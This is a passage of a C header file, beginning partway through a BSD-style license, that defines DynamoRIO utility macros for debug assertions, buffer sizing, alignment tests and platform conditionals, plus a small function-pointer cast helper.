24 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
30 | * DAMAGE.
31 | */
32 |
33 | /*
34 | DynamoRIO utility macros. Copied from the DyanmoRIO project,
35 | http://dynamorio.org/
36 | */
37 |
38 |
39 | #ifndef CLIENTS_COMMON_UTILS_H_
40 | #define CLIENTS_COMMON_UTILS_H_
41 |
42 | #include "dr_api.h"
43 |
44 | #ifdef DEBUG
45 | # define ASSERT(x, msg) DR_ASSERT_MSG(x, msg)
46 | # define IF_DEBUG(x) x
47 | #else
48 | # define ASSERT(x, msg) /* nothing */
49 | # define IF_DEBUG(x) /* nothing */
50 | #endif
51 |
52 | /* XXX: should be moved to DR API headers? */
53 | #define BUFFER_SIZE_BYTES(buf) sizeof(buf)
54 | #define BUFFER_SIZE_ELEMENTS(buf) (BUFFER_SIZE_BYTES(buf) / sizeof((buf)[0]))
55 | #define BUFFER_LAST_ELEMENT(buf) (buf)[BUFFER_SIZE_ELEMENTS(buf) - 1]
56 | #define NULL_TERMINATE_BUFFER(buf) BUFFER_LAST_ELEMENT(buf) = 0
57 | #define ALIGNED(x, alignment) ((((ptr_uint_t)x) & ((alignment)-1)) == 0)
58 | #define TESTANY(mask, var) (((mask) & (var)) != 0)
59 | #define TEST TESTANY
60 |
61 | #ifdef WINDOWS
62 | # define IF_WINDOWS(x) x
63 | # define IF_UNIX_ELSE(x,y) y
64 | #else
65 | # define IF_WINDOWS(x)
66 | # define IF_UNIX_ELSE(x,y) x
67 | #endif
68 |
69 | /* Checks for both debug and release builds: */
70 | #define USAGE_CHECK(x, msg) DR_ASSERT_MSG(x, msg)
71 |
72 | static inline generic_func_t
73 | cast_to_func(void *p)
74 | {
75 | #ifdef WINDOWS
76 | # pragma warning(push)
77 | # pragma warning(disable : 4055)
78 | #endif
79 | return (generic_func_t) p;
80 | #ifdef WINDOWS
81 | # pragma warning(pop)
82 | #endif
83 | }
84 |
85 | #endif /* CLIENTS_COMMON_UTILS_H_ */
86 |
--------------------------------------------------------------------------------